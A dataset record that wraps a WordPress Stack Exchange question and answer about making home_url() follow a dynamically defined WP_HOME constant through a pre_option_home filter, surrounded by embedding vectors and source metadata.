0.040435791015625,
-0.059844970703125,
0.0016565322875976562,
-0.01495361328125,
0.00251007080078125,
0.0053558349609375,
0.011016845703125,
-0.04058837890625,
0.0352783203125,
0.0003757476806640625,
-0.01849365234375,
0.002307891845703125,
-0.02789306640625,
0.0277252197265625,
0.0018033981323242188,
0.01148223876953125,
0.00127410888671875,
0.053741455078125,
-0.0035343170166015625,
0.0005397796630859375,
-0.005161285400390625,
0.0164337158203125,
0.0256500244140625,
0.0176239013671875,
0.0271148681640625,
-0.01270294189453125,
-0.0165863037109375,
0.06280517578125,
0.02545166015625,
-0.03448486328125,
-0.00351715087890625,
-0.01256561279296875,
0.0772705078125,
-0.0018644332885742188,
-0.0036334991455078125,
0.0284271240234375,
0.0168609619140625,
-0.0143585205078125,
-0.00974273681640625,
-0.030059814453125,
0.019500732421875,
-0.042510986328125,
0.038055419921875,
0.0182037353515625,
-0.0167083740234375,
-0.047637939453125,
0.08123779296875,
0.0063934326171875,
0.003253936767578125,
-0.01045989990234375,
0.0202178955078125,
-0.0004100799560546875,
0.027008056640625,
0.007022857666015625,
0.01047515869140625,
0.004581451416015625,
0.0136871337890625,
0.02569580078125,
-0.01421356201171875,
0.01045989990234375,
0.0178070068359375,
0.005950927734375,
-0.0247802734375,
-0.01236724853515625,
0.030181884765625,
-0.002437591552734375,
-0.03265380859375,
0.06732177734375,
0.054412841796875,
-0.0220794677734375,
-0.047332763671875,
-0.0482177734375,
0.03375244140625,
0.014251708984375,
0.01555633544921875,
-0.00930023193359375,
-0.01486968994140625,
-0.0122528076171875,
0.0114593505859375,
-0.0283355712890625,
-0.0191497802734375,
-0.0117034912109375,
0.0014162063598632812,
0.0217132568359375,
0.00435638427734375,
-0.0660400390625,
-0.0650634765625,
0.015289306640625,
-0.00103759765625,
0.0399169921875,
-0.0159759521484375,
0.033721923828125,
-0.04815673828125,
0.0050048828125,
-0.061065673828125,
0.0253753662109375,
0.00576019287109375,
0.0010347366333007812,
-0.006099700927734375,
-0.042449951171875,
-0.0673828125,
-0.036376953125,
-0.052093505859375,
-0.04302978515625,
-0.0167388916015625,
0.02239990234375,
-0.0254669189453125,
0.01023101806640625,
-0.0364990234375,
-0.019500732421875,
0.007625579833984375,
0.0223388671875,
-0.010498046875,
0.0186614990234375,
-0.0276947021484375,
0.09393310546875,
0.01007843017578125,
0.031524658203125,
0.0206298828125,
0.05401611328125,
0.018463134765625,
-0.020477294921875,
-0.00833892822265625,
-0.065673828125,
0.005523681640625,
0.005748748779296875,
-0.0274658203125,
0.0217742919921875,
0.03369140625,
-0.0004200935363769531,
0.0267333984375,
0.0112457275390625,
0.011016845703125,
0.011871337890625,
-0.03472900390625,
0.015167236328125,
0.00469207763671875,
0.06719970703125,
0.01263427734375,
0.02008056640625,
-0.018890380859375,
-0.002597808837890625,
0.01544952392578125,
-0.007396697998046875,
0.01207733154296875,
-0.026519775390625,
-0.08172607421875,
0.033355712890625,
0.031341552734375,
0.04034423828125,
0.03265380859375,
-0.0213165283203125,
0.027740478515625,
-0.0010519027709960938,
0.006778717041015625,
-0.0032329559326171875,
-0.0286865234375,
0.004558563232421875,
-0.01898193359375,
-0.004062652587890625,
-0.025054931640625,
-0.020782470703125,
0.0038890838623046875,
-0.014251708984375,
0.039337158203125,
-0.0187225341796875,
0.0479736328125,
0.0285186767578125,
-0.0025768280029296875,
-0.0194854736328125,
-0.0228729248046875,
-0.00919342041015625,
-0.01552581787109375,
0.060211181640625,
0.0001628398895263672,
-0.0164794921875,
0.02642822265625,
-0.00689697265625,
-0.0106353759765625,
-0.03143310546875,
0.01317596435546875,
0.0289764404296875,
0.004306793212890625,
0.038909912109375,
-0.004894256591796875,
0.0435791015625,
-0.048492431640625,
0.00528717041015625,
0.0178680419921875,
-0.00531768798828125,
-0.04046630859375,
0.043182373046875,
-0.004642486572265625,
0.0027618408203125,
-0.021881103515625,
-0.019287109375,
0.01561737060546875,
0.0304718017578125,
-0.0115203857421875,
-0.0012636184692382812,
0.0084991455078125,
-0.003597259521484375,
0.01226043701171875,
-0.04071044921875,
0.0007343292236328125,
0.007568359375,
-0.0404052734375,
0.00794219970703125,
-0.005565643310546875,
-0.032867431640625,
-0.01276397705078125,
-0.0577392578125,
0.013641357421875,
-0.0256500244140625,
-0.006122589111328125,
-0.00004369020462036133,
0.004680633544921875,
0.024383544921875,
-0.0034999847412109375,
0.02984619140625,
-0.08349609375,
-0.07122802734375,
0.0291900634765625,
-0.07305908203125,
-0.042694091796875,
-0.020477294921875,
-0.040679931640625,
0.115478515625,
-0.0101165771484375,
0.02130126953125,
0.0188446044921875,
0.03631591796875,
-0.0278167724609375,
0.0261383056640625,
-0.03265380859375,
0.058502197265625,
-0.01483154296875,
0.06182861328125,
-0.041900634765625,
-0.0168914794921875,
0.036773681640625,
0.0430908203125,
-0.01499176025390625,
-0.01543426513671875,
0.005352020263671875,
0.00774383544921875,
0.051422119140625,
0.077880859375,
0.045013427734375,
-0.026275634765625,
0.002193450927734375,
0.0202178955078125,
-0.052734375,
-0.03631591796875,
0.00908660888671875,
-0.0625,
-0.051910400390625,
0.031524658203125,
0.022613525390625,
0.034393310546875,
-0.01161956787109375,
0.0128173828125,
-0.036102294921875,
0.0133056640625,
0.02410888671875,
0.075439453125,
-0.0216064453125,
0.049896240234375,
-0.0138397216796875,
0.0284576416015625,
-0.03912353515625,
-0.00521087646484375,
0.01436614990234375,
-0.0155487060546875,
-0.01026153564453125,
0.023468017578125,
0.0150604248046875,
-0.00836944580078125,
-0.002166748046875,
-0.00921630859375,
0.020355224609375,
-0.02630615234375,
0.0292816162109375,
0.0272216796875,
0.033172607421875,
-0.01399993896484375,
-0.0247344970703125,
0.0266876220703125,
0.0360107421875,
-0.023223876953125,
-0.00811767578125,
0.0178680419921875,
0.0104522705078125,
-0.0072479248046875,
-0.032470703125,
0.01229095458984375,
-0.0635986328125,
-0.0266876220703125,
0.0030727386474609375,
-0.03369140625,
0.0029125213623046875,
0.0227203369140625,
0.0084686279296875,
-0.02178955078125,
0.01493072509765625,
-0.0306549072265625,
-0.036468505859375,
0.037506103515625,
0.0100860595703125,
0.042236328125,
-0.018585205078125,
0.040435791015625,
-0.0300140380859375,
-0.0085296630859375,
-0.0121612548828125,
0.032745361328125,
-0.01629638671875,
0.0293426513671875,
-0.043487548828125,
-0.01690673828125,
-0.02056884765625,
0.038360595703125,
0.040008544921875,
0.0185089111328125,
0.05859375,
0.042755126953125,
-0.037689208984375,
0.00592041015625,
0.08380126953125,
0.004100799560546875,
0.0218353271484375,
0.00739288330078125,
0.0254058837890625,
0.0220794677734375,
-0.0181427001953125,
-0.0258026123046875,
0.057830810546875,
0.0330810546875,
-0.0280609130859375,
0.034515380859375,
0.004150390625,
-0.0255584716796875,
0.01335906982421875,
0.00017201900482177734,
0.06524658203125,
0.010101318359375,
-0.04290771484375,
-0.01473236083984375,
-0.061492919921875,
0.00811767578125,
0.056488037109375,
0.036956787109375,
0.00763702392578125,
0.01140594482421875,
0.07427978515625,
-0.0384521484375,
0.00470733642578125,
0.034454345703125,
0.018524169921875,
0.0185699462890625,
0.031585693359375,
0.035491943359375,
-0.04864501953125,
-0.02520751953125,
0.0242767333984375,
-0.000522613525390625,
0.013946533203125,
-0.03765869140625,
0.051666259765625,
0.006046295166015625,
0.02264404296875,
-0.0244598388671875,
0.01244354248046875,
0.010833740234375,
-0.003833770751953125,
-0.01038360595703125,
0.0022602081298828125,
-0.0126953125,
-0.03826904296875,
0.03900146484375,
0.01361083984375,
0.024169921875,
0.032562255859375,
-0.040802001953125,
0.0183258056640625,
-0.00766754150390625,
-0.0033111572265625,
-0.039031982421875,
-0.0355224609375,
-0.00942230224609375,
-0.0009698867797851562,
-0.0172882080078125,
-0.01446533203125,
-0.0036869049072265625,
-0.039703369140625,
0.01123809814453125,
-0.04998779296875,
-0.0022106170654296875,
0.039031982421875,
-0.0089111328125,
0.0132904052734375,
0.0296478271484375,
0.0030498504638671875,
0.0248565673828125,
-0.0130157470703125,
0.03631591796875,
0.00821685791015625,
0.0330810546875,
0.02191162109375,
-0.042236328125,
-0.027801513671875,
0.042449951171875,
0.0435791015625,
0.031402587890625,
0.03692626953125,
-0.018402099609375,
-0.04150390625,
-0.040924072265625,
-0.01514434814453125,
-0.01410675048828125,
0.01099395751953125,
-0.01351165771484375,
0.004451751708984375,
0.02880859375,
0.0017824172973632812,
0.0229034423828125,
-0.006557464599609375,
0.06304931640625,
0.0179290771484375,
-0.061798095703125,
0.03955078125,
-0.044097900390625,
0.012603759765625,
0.029388427734375,
0.0221099853515625,
-0.00870513916015625,
-0.0147857666015625,
-0.04986572265625,
-0.045196533203125,
-0.0279693603515625,
0.054779052734375,
-0.031005859375,
0.00858306884765625,
0.0235443115234375,
-0.007755279541015625,
0.039306640625,
0.023040771484375,
-0.000637054443359375,
0.08856201171875,
-0.032684326171875,
-0.002979278564453125,
0.0014390945434570312,
0.05438232421875,
-0.0145416259765625,
-0.09478759765625,
-0.00623321533203125,
-0.028411865234375,
0.042449951171875,
-0.0308990478515625,
0.0069427490234375,
0.0223846435546875,
-0.0389404296875,
-0.094482421875,
0.0657958984375,
-0.0276336669921875,
-0.0303192138671875,
-0.08642578125,
0.018280029296875,
0.0203704833984375,
-0.004711151123046875,
-0.020751953125,
-0.04571533203125,
-0.057373046875,
0.0229339599609375,
0.00553131103515625,
0.050567626953125,
0.0249176025390625,
-0.013641357421875,
-0.006626129150390625,
-0.0012216567993164062,
-0.006702423095703125,
0.0209197998046875,
-0.03326416015625,
0.0145416259765625,
0.0201263427734375,
0.0531005859375,
0.00409698486328125,
0.04205322265625,
0.023712158203125,
-0.03436279296875,
-0.00325775146484375,
-0.0257720947265625,
-0.0252685546875,
0.0023059844970703125,
0.06475830078125,
0.01476287841796875,
0.0197906494140625,
-0.02423095703125,
-0.00464630126953125,
-0.0036029815673828125,
0.00547027587890625,
-0.0308837890625,
0.00716400146484375,
-0.052276611328125,
-0.0296630859375,
-0.0109100341796875,
-0.00594329833984375,
-0.007778167724609375,
-0.0237884521484375,
-0.04595947265625,
-0.0180206298828125,
-0.0307159423828125,
0.01094818115234375,
-0.036102294921875,
-0.035858154296875,
0.074462890625,
-0.036346435546875,
0.009490966796875,
0.0287628173828125,
0.023468017578125,
0.036346435546875,
0.0258331298828125,
-0.0187225341796875,
-0.00389862060546875,
-0.0217437744140625,
0.0279541015625,
-0.023193359375,
0.004840850830078125,
-0.035675048828125,
0.01165771484375,
-0.035400390625,
0.0211944580078125,
0.0241546630859375,
0.026885986328125,
-0.019866943359375,
-0.0129852294921875,
0.01141357421875,
-0.0017986297607421875,
-0.0258026123046875,
0.0043792724609375,
0.00759124755859375,
-0.007534027099609375,
0.0093994140625,
0.01123046875,
0.054351806640625,
-0.0404052734375,
0.00939178466796875,
0.00278472900390625,
-0.02728271484375,
0.0081024169921875,
-0.0226593017578125,
-0.01023101806640625,
-0.0290679931640625,
-0.0159454345703125
] |
3bb18451f3d35611a3a950f8448325c6617bd4c5
|
Wordpress Stackexchange
Q: Override the wp_siteurl and wp_home not work I created a wordpress site and name hostname as x.co.uk, x.com, x.in...
In wp-option table the site and home url as x.co.uk. I want dynamically for loading other host name also.
So dynamically set WP_SITEURL, WP_HOME, i override the wp-config as
define('WP_SITEURL', 'http://' . $_SERVER['SERVER_NAME'] );
define('WP_HOME', 'http://' . $_SERVER['SERVER_NAME'] );
but when i call home_url() it always return x.co.uk hostname
Thanks Advance
A:
So dynamically set WP_SITEURL, WP_HOME, i override the wp-config as
define('WP_SITEURL', 'http://' . $_SERVER['SERVER_NAME'] );
define('WP_HOME', 'http://' . $_SERVER['SERVER_NAME'] );
but when i call home_url() it always return x.co.uk hostname
home_url() does not make use of any WordPress constants. It uses a call to get_option( 'home' ). To use WP_HOME instead, short circuit get_option():
add_filter( 'pre_option_home', 'wpse_114486_change_get_option_home' );
/**
* Change get_option( 'home' ) and any functions that rely on it to use
* the value of the WP_HOME constant.
*
* This is not fully tested. Many WordPress functions depend on the value of
* get_option( 'home' ). The ramifications of this filter should be tested
* thoroughly.
*/
function wpse_114486_change_get_option_home( $option ) {
if ( defined ( 'WP_HOME' ) )
return WP_HOME;
return false;
}
|
Q: Override the wp_siteurl and wp_home not work I created a wordpress site and name hostname as x.co.uk, x.com, x.in...
In wp-option table the site and home url as x.co.uk. I want dynamically for loading other host name also.
So dynamically set WP_SITEURL, WP_HOME, i override the wp-config as
define('WP_SITEURL', 'http://' . $_SERVER['SERVER_NAME'] );
define('WP_HOME', 'http://' . $_SERVER['SERVER_NAME'] );
but when i call home_url() it always return x.co.uk hostname
Thanks Advance
A:
So dynamically set WP_SITEURL, WP_HOME, i override the wp-config as
define('WP_SITEURL', 'http://' . $_SERVER['SERVER_NAME'] );
define('WP_HOME', 'http://' . $_SERVER['SERVER_NAME'] );
but when i call home_url() it always return x.co.uk hostname
home_url() does not make use of any WordPress constants. It uses a call to get_option( 'home' ). To use WP_HOME instead, short circuit get_option():
add_filter( 'pre_option_home', 'wpse_114486_change_get_option_home' );
/**
* Change get_option( 'home' ) and any functions that rely on it to use
* the value of the WP_HOME constant.
*
* This is not fully tested. Many WordPress functions depend on the value of
* get_option( 'home' ). The ramifications of this filter should be tested
* thoroughly.
*/
function wpse_114486_change_get_option_home( $option ) {
if ( defined ( 'WP_HOME' ) )
return WP_HOME;
return false;
}
|
wordpress
|
{
"language": "en",
"length": 199,
"provenance": "stackexchange_00019.jsonl.gz:437202",
"question_score": "5",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114486"
}
|
[
0.036834716796875,
0.0205230712890625,
-0.002216339111328125,
0.006237030029296875,
0.0223541259765625,
-0.040771484375,
0.050262451171875,
-0.059539794921875,
-0.0025005340576171875,
-0.012908935546875,
-0.0445556640625,
-0.03887939453125,
-0.0172271728515625,
-0.037200927734375,
0.02325439453125,
-0.06298828125,
0.02410888671875,
0.00878143310546875,
0.0016326904296875,
-0.018798828125,
-0.00556182861328125,
0.00493621826171875,
-0.037322998046875,
0.07501220703125,
0.0227203369140625,
-0.09893798828125,
0.04522705078125,
0.008636474609375,
0.0012340545654296875,
0.004627227783203125,
0.01348876953125,
0.0001666545867919922,
0.019012451171875,
0.0181732177734375,
-0.0372314453125,
-0.025360107421875,
0.0271148681640625,
-0.00008600950241088867,
-0.03564453125,
0.0618896484375,
0.00682830810546875,
-0.00441741943359375,
0.00928497314453125,
0.029327392578125,
-0.0196533203125,
-0.048797607421875,
0.02764892578125,
-0.026641845703125,
-0.0253143310546875,
0.04449462890625,
0.0294647216796875,
0.01348876953125,
0.031829833984375,
-0.00033926963806152344,
0.003673553466796875,
0.0025119781494140625,
-0.020477294921875,
0.0262451171875,
0.03265380859375,
-0.05230712890625,
-0.020904541015625,
-0.006732940673828125,
0.04071044921875,
0.031524658203125,
-0.0014667510986328125,
-0.00852203369140625,
0.032135009765625,
-0.0018243789672851562,
-0.0478515625,
-0.0018444061279296875,
0.0523681640625,
-0.019195556640625,
-0.0196685791015625,
-0.007602691650390625,
-0.057708740234375,
0.0022296905517578125,
0.00597381591796875,
-0.045867919921875,
0.029632568359375,
-0.0065460205078125,
0.0304107666015625,
-0.0352783203125,
-0.0259857177734375,
0.007503509521484375,
0.0243682861328125,
0.03680419921875,
0.00310516357421875,
-0.034149169921875,
-0.043853759765625,
-0.01116180419921875,
-0.0270233154296875,
-0.0189056396484375,
-0.046661376953125,
-0.00019168853759765625,
0.0014410018920898438,
-0.023345947265625,
0.0010881423950195312,
0.018341064453125,
-0.0223846435546875,
-0.00885009765625,
0.001312255859375,
-0.0261993408203125,
-0.0041961669921875,
-0.024383544921875,
-0.01175689697265625,
0.049346923828125,
0.018463134765625,
0.10906982421875,
0.038116455078125,
0.0232391357421875,
0.01265716552734375,
0.00934600830078125,
-0.0252838134765625,
-0.00757598876953125,
-0.01013946533203125,
-0.0149688720703125,
-0.0819091796875,
-0.0070953369140625,
-0.0184478759765625,
-0.020782470703125,
0.0173797607421875,
0.0233306884765625,
0.006961822509765625,
-0.007022857666015625,
0.00029921531677246094,
0.0034847259521484375,
-0.015655517578125,
-0.047027587890625,
-0.027801513671875,
0.018890380859375,
-0.035919189453125,
0.02008056640625,
0.0293731689453125,
0.0209197998046875,
0.0169830322265625,
-0.01971435546875,
0.045379638671875,
0.02142333984375,
0.00415802001953125,
0.01300811767578125,
0.0286712646484375,
-0.0157623291015625,
-0.0443115234375,
0.011474609375,
0.0153656005859375,
-0.0032806396484375,
0.027923583984375,
0.0389404296875,
-0.003322601318359375,
-0.017852783203125,
0.007289886474609375,
0.0240631103515625,
0.03271484375,
0.0247802734375,
-0.006885528564453125,
-0.0027065277099609375,
0.053131103515625,
-0.048553466796875,
-0.0114288330078125,
-0.055908203125,
0.0013151168823242188,
-0.007305145263671875,
-0.024169921875,
-0.047454833984375,
-0.0428466796875,
-0.004016876220703125,
-0.0041656494140625,
-0.007904052734375,
0.0177001953125,
0.031005859375,
0.033416748046875,
0.0255584716796875,
-0.01088714599609375,
0.015472412109375,
0.0103302001953125,
-0.0035037994384765625,
-0.034027099609375,
0.0295867919921875,
0.0235443115234375,
0.028961181640625,
-0.0008630752563476562,
-0.033538818359375,
0.058929443359375,
0.005138397216796875,
-0.07135009765625,
0.0232086181640625,
0.0181732177734375,
0.06903076171875,
0.00616455078125,
0.00971221923828125,
0.0478515625,
-0.00601959228515625,
-0.02923583984375,
0.0160980224609375,
0.003753662109375,
-0.022430419921875,
0.005847930908203125,
-0.01129150390625,
-0.01068115234375,
0.0156402587890625,
0.02105712890625,
0.005558013916015625,
0.018768310546875,
0.01490020751953125,
-0.0147247314453125,
0.0160369873046875,
-0.0299072265625,
0.0153045654296875,
0.0355224609375,
0.0214080810546875,
0.00814056396484375,
0.02679443359375,
-0.042633056640625,
-0.0038433074951171875,
-0.0438232421875,
0.0167999267578125,
-0.0303802490234375,
0.04571533203125,
0.0013017654418945312,
0.048095703125,
0.01493072509765625,
-0.045928955078125,
0.00734710693359375,
-0.0205841064453125,
-0.0005011558532714844,
-0.0253753662109375,
-0.00881195068359375,
-0.0127716064453125,
-0.0169830322265625,
0.0136260986328125,
-0.02154541015625,
0.0274658203125,
0.042938232421875,
0.00861358642578125,
-0.03802490234375,
0.0160675048828125,
0.002288818359375,
-0.042755126953125,
-0.01389312744140625,
0.053955078125,
0.04681396484375,
0.01512908935546875,
0.0038814544677734375,
-0.0093994140625,
0.04864501953125,
-0.031646728515625,
0.015380859375,
-0.035888671875,
-0.0033588409423828125,
0.058868408203125,
-0.0266571044921875,
0.03460693359375,
-0.0154571533203125,
-0.09185791015625,
-0.0063629150390625,
0.0640869140625,
-0.035614013671875,
0.0026683807373046875,
-0.00010854005813598633,
-0.0106201171875,
-0.0082855224609375,
-0.0113372802734375,
0.0186309814453125,
-0.00789642333984375,
-0.011444091796875,
0.0013275146484375,
-0.0063018798828125,
-0.0027484893798828125,
-0.00933074951171875,
-0.003265380859375,
0.015960693359375,
-0.040252685546875,
-0.00445556640625,
0.0328369140625,
0.058685302734375,
-0.050628662109375,
-0.0109100341796875,
0.0010805130004882812,
-0.0238037109375,
0.00371551513671875,
-0.00896453857421875,
0.03033447265625,
0.0044708251953125,
-0.0082855224609375,
-0.006389617919921875,
-0.0623779296875,
0.01177215576171875,
0.0121917724609375,
0.06646728515625,
-0.0015592575073242188,
0.0251922607421875,
0.0158233642578125,
-0.013671875,
0.07037353515625,
0.0114593505859375,
-0.0496826171875,
0.042938232421875,
-0.02777099609375,
0.004329681396484375,
-0.0026798248291015625,
0.046173095703125,
0.055145263671875,
0.02227783203125,
-0.0113372802734375,
-0.0013332366943359375,
0.0211181640625,
-0.01363372802734375,
-0.009307861328125,
-0.020355224609375,
0.037872314453125,
-0.119873046875,
-0.008087158203125,
0.005588531494140625,
-0.01433563232421875,
0.03656005859375,
-0.0152587890625,
-0.00495147705078125,
0.0042724609375,
-0.06060791015625,
-0.01023101806640625,
0.0161285400390625,
-0.0128021240234375,
0.0211334228515625,
0.007030487060546875,
-0.005229949951171875,
-0.01554107666015625,
-0.002208709716796875,
0.0159912109375,
0.0031585693359375,
-0.024749755859375,
-0.052276611328125,
-0.07269287109375,
-0.084228515625,
-0.0499267578125,
0.0036220550537109375,
0.0305938720703125,
0.00460052490234375,
0.00531005859375,
0.00472259521484375,
-0.0196533203125,
-0.01013946533203125,
0.042083740234375,
-0.02166748046875,
-0.04644775390625,
-0.0162811279296875,
-0.015106201171875,
-0.003376007080078125,
-0.0178680419921875,
0.03179931640625,
0.0144195556640625,
-0.0084991455078125,
0.0105133056640625,
0.01105499267578125,
0.03009033203125,
0.030487060546875,
0.004795074462890625,
0.0032901763916015625,
0.0296173095703125,
0.021636962890625,
-0.025726318359375,
-0.012237548828125,
0.0017490386962890625,
-0.01904296875,
0.059356689453125,
0.019317626953125,
-0.0263519287109375,
0.035247802734375,
0.01102447509765625,
-0.01142120361328125,
-0.025115966796875,
0.059326171875,
-0.03985595703125,
0.0146331787109375,
-0.01229095458984375,
-0.0161285400390625,
-0.044158935546875,
0.059600830078125,
-0.00726318359375,
-0.066650390625,
0.00555419921875,
-0.031951904296875,
-0.0078582763671875,
-0.00933074951171875,
-0.00888824462890625,
-0.0494384765625,
0.060302734375,
-0.039337158203125,
-0.0201873779296875,
-0.044189453125,
-0.0426025390625,
-0.004001617431640625,
0.09552001953125,
-0.035858154296875,
-0.002513885498046875,
0.024444580078125,
0.0287322998046875,
-0.0672607421875,
-0.06646728515625,
-0.0716552734375,
0.00450897216796875,
-0.07244873046875,
0.00658416748046875,
-0.033294677734375,
0.00485992431640625,
-0.00611114501953125,
0.0012159347534179688,
-0.0256195068359375,
-0.0552978515625,
0.01190185546875,
0.00817108154296875,
0.009002685546875,
-0.0196990966796875,
-0.0025501251220703125,
-0.0167236328125,
-0.003490447998046875,
-0.01513671875,
-0.05804443359375,
-0.017791748046875,
0.00920867919921875,
0.03961181640625,
0.0025348663330078125,
-0.032073974609375,
0.0023651123046875,
0.071044921875,
0.0167388916015625,
0.0389404296875,
0.016387939453125,
-0.0115814208984375,
0.042694091796875,
-0.012359619140625,
0.0181732177734375,
0.0001633167266845703,
0.032745361328125,
-0.00391387939453125,
-0.0897216796875,
-0.00617218017578125,
-0.01508331298828125,
0.0794677734375,
0.0270233154296875,
-0.04608154296875,
-0.0694580078125,
-0.0308685302734375,
-0.01800537109375,
-0.0177764892578125,
-0.006683349609375,
-0.0284881591796875,
-0.022857666015625,
-0.0477294921875,
0.0364990234375,
-0.033599853515625,
0.00717926025390625,
0.0024127960205078125,
0.080322265625,
0.0071868896484375,
-0.006420135498046875,
-0.006862640380859375,
0.042572021484375,
0.01007080078125,
0.01230621337890625,
0.03570556640625,
-0.022064208984375,
-0.0119476318359375,
0.03204345703125,
-0.018218994140625,
0.016998291015625,
0.035064697265625,
0.0122222900390625,
0.01491546630859375,
-0.01287078857421875,
0.016998291015625,
0.045654296875,
-0.05682373046875,
0.069580078125,
0.0038661956787109375,
0.0007791519165039062,
-0.00267791748046875,
-0.0148162841796875,
-0.0006833076477050781,
-0.04351806640625,
-0.00843048095703125,
-0.024139404296875,
0.0126800537109375,
-0.0090179443359375,
-0.006603240966796875,
-0.0053253173828125,
0.00405120849609375,
-0.034027099609375,
-0.007076263427734375,
0.01348114013671875,
0.013671875,
0.005878448486328125,
-0.008056640625,
0.037109375,
-0.010284423828125,
-0.0095062255859375,
0.0086669921875,
-0.01531982421875,
0.037322998046875,
-0.01509857177734375,
-0.04498291015625,
0.040802001953125,
-0.0187835693359375,
0.0165557861328125,
0.042755126953125,
-0.01157379150390625,
-0.0026454925537109375,
0.006977081298828125,
-0.0254364013671875,
0.0051116943359375,
0.01479339599609375,
-0.015716552734375,
-0.02294921875,
0.07855224609375,
0.0132293701171875,
0.0187835693359375,
0.007808685302734375,
0.06158447265625,
0.049957275390625,
0.017242431640625,
-0.033172607421875,
0.0123748779296875,
0.043670654296875,
0.0144500732421875,
0.006809234619140625,
0.00028705596923828125,
0.0190582275390625,
-0.0119171142578125,
0.04119873046875,
-0.0242156982421875,
-0.03143310546875,
0.02813720703125,
0.051971435546875,
-0.004138946533203125,
-0.00016689300537109375,
-0.0195159912109375,
-0.019073486328125,
-0.02001953125,
0.043426513671875,
-0.01934814453125,
-0.06292724609375,
-0.042327880859375,
-0.0154266357421875,
0.042083740234375,
-0.00649261474609375,
0.004352569580078125,
-0.02685546875,
0.024993896484375,
0.0118408203125,
0.040374755859375,
-0.045501708984375,
0.0194091796875,
0.0186614990234375,
-0.028076171875,
-0.0135650634765625,
0.0037593841552734375,
-0.027587890625,
-0.0288238525390625,
-0.0205535888671875,
-0.011444091796875,
0.0394287109375,
-0.048187255859375,
0.0634765625,
-0.0034580230712890625,
-0.029998779296875,
0.0056915283203125,
0.032440185546875,
0.032989501953125,
0.0469970703125,
-0.042266845703125,
0.0007624626159667969,
-0.036865234375,
0.0003254413604736328,
0.005401611328125,
-0.01558685302734375,
-0.045562744140625,
-0.01751708984375,
-0.0033397674560546875,
0.01885986328125,
-0.0194244384765625,
-0.0296630859375,
-0.013336181640625,
-0.0092010498046875,
0.0240325927734375,
0.006046295166015625,
-0.021148681640625,
0.051116943359375,
0.02435302734375,
-0.01398468017578125,
0.017333984375,
0.0250396728515625,
0.017120361328125,
-0.0221710205078125,
0.008392333984375,
-0.0307464599609375,
-0.0374755859375,
-0.019683837890625,
-0.0297088623046875,
0.02252197265625,
0.04559326171875,
-0.01242828369140625,
0.02508544921875,
-0.010894775390625,
-0.01837158203125,
-0.0167236328125,
-0.0084075927734375,
-0.0115814208984375,
0.037933349609375,
-0.028564453125,
-0.014129638671875,
0.0233917236328125,
-0.0295562744140625,
-0.008056640625,
0.036346435546875,
-0.02545166015625,
0.0224151611328125,
0.02752685546875,
-0.041168212890625,
0.09735107421875,
0.108154296875,
-0.0266876220703125,
0.050445556640625,
0.0136260986328125,
-0.0154266357421875,
0.0280914306640625,
0.033721923828125,
-0.041717529296875,
-0.040374755859375,
0.0138702392578125,
0.007137298583984375,
-0.0156402587890625,
0.0076446533203125,
-0.01177215576171875,
0.01462554931640625,
0.034210205078125,
0.048309326171875,
-0.047943115234375,
0.0016956329345703125,
0.02227783203125,
-0.009429931640625,
0.035400390625,
0.04779052734375,
-0.003726959228515625,
0.05035400390625,
0.00969696044921875,
-0.05023193359375,
-0.0038776397705078125,
0.027801513671875,
0.017486572265625,
-0.01898193359375,
-0.0233001708984375,
0.037445068359375,
0.020172119140625,
-0.007457733154296875,
0.0092315673828125,
-0.00016748905181884766,
0.0179901123046875,
-0.0007781982421875,
-0.00395965576171875,
0.01050567626953125,
-0.03851318359375,
-0.077392578125,
-0.0261383056640625,
-0.0142822265625,
-0.034820556640625,
0.0271453857421875,
-0.0103607177734375,
0.01224517822265625,
0.037567138671875,
-0.0166778564453125,
0.036041259765625,
0.01116180419921875,
-0.0188446044921875,
0.060089111328125,
-0.00992584228515625,
0.00948333740234375,
-0.0023975372314453125,
-0.04339599609375,
-0.00514984130859375,
-0.025634765625,
-0.0052032470703125,
-0.00400543212890625,
-0.034393310546875,
0.03912353515625,
-0.020721435546875,
-0.011322021484375,
0.0159149169921875,
0.01074981689453125,
-0.006214141845703125,
0.007221221923828125,
0.0231170654296875,
-0.071044921875,
-0.0870361328125,
0.01296234130859375,
-0.10638427734375,
-0.0274810791015625,
-0.02947998046875,
-0.030914306640625,
0.10040283203125,
-0.03802490234375,
0.0303497314453125,
0.035186767578125,
0.04132080078125,
-0.034698486328125,
0.0254669189453125,
-0.035552978515625,
0.0428466796875,
0.010467529296875,
0.0203704833984375,
-0.03863525390625,
0.0014629364013671875,
0.0029811859130859375,
0.036956787109375,
-0.0154876708984375,
0.00020384788513183594,
-0.034942626953125,
-0.0177459716796875,
0.006805419921875,
0.003459930419921875,
-0.008148193359375,
0.04351806640625,
-0.01239776611328125,
0.053314208984375,
0.041351318359375,
-0.056793212890625,
0.0173797607421875,
-0.02069091796875,
-0.0245361328125,
0.0075531005859375,
0.0164031982421875,
0.02923583984375,
-0.0119781494140625,
0.0119781494140625,
-0.0082244873046875,
-0.0163421630859375,
0.0095062255859375,
0.005809783935546875,
-0.01079559326171875,
0.00872039794921875,
-0.015716552734375,
0.0262603759765625,
0.031280517578125,
-0.0276031494140625,
0.0278778076171875,
-0.01812744140625,
-0.027679443359375,
0.039886474609375,
0.01219940185546875,
0.00966644287109375,
0.01236724853515625,
-0.01332855224609375,
0.01514434814453125,
0.0258941650390625,
0.036041259765625,
0.07049560546875,
0.0452880859375,
0.062164306640625,
0.0677490234375,
0.019805908203125,
0.0233612060546875,
-0.042633056640625,
-0.01462554931640625,
0.0031585693359375,
-0.01506805419921875,
0.01409149169921875,
-0.021942138671875,
0.02557373046875,
0.00007474422454833984,
-0.017547607421875,
-0.02215576171875,
0.0249481201171875,
0.0296173095703125,
-0.0091552734375,
0.01029205322265625,
0.042510986328125,
-0.028533935546875,
0.038421630859375,
-0.01317596435546875,
-0.032135009765625,
0.0052337646484375,
0.050445556640625,
0.03448486328125,
0.0251617431640625,
-0.049957275390625,
-0.0235748291015625,
-0.0271759033203125,
0.06787109375,
0.0302581787109375,
0.0163421630859375,
-0.0482177734375,
-0.037506103515625,
0.00899505615234375,
0.037628173828125,
0.056549072265625,
0.03631591796875,
0.06610107421875,
0.01229095458984375,
-0.022552490234375,
0.01081085205078125,
0.0618896484375,
-0.0222930908203125,
0.045623779296875,
-0.033905029296875,
0.017059326171875,
-0.0094757080078125,
-0.0235443115234375,
-0.00574493408203125,
0.00667572021484375,
0.00803375244140625,
-0.0198211669921875,
0.03826904296875,
-0.016510009765625,
-0.008209228515625,
0.0255279541015625,
-0.0145111083984375,
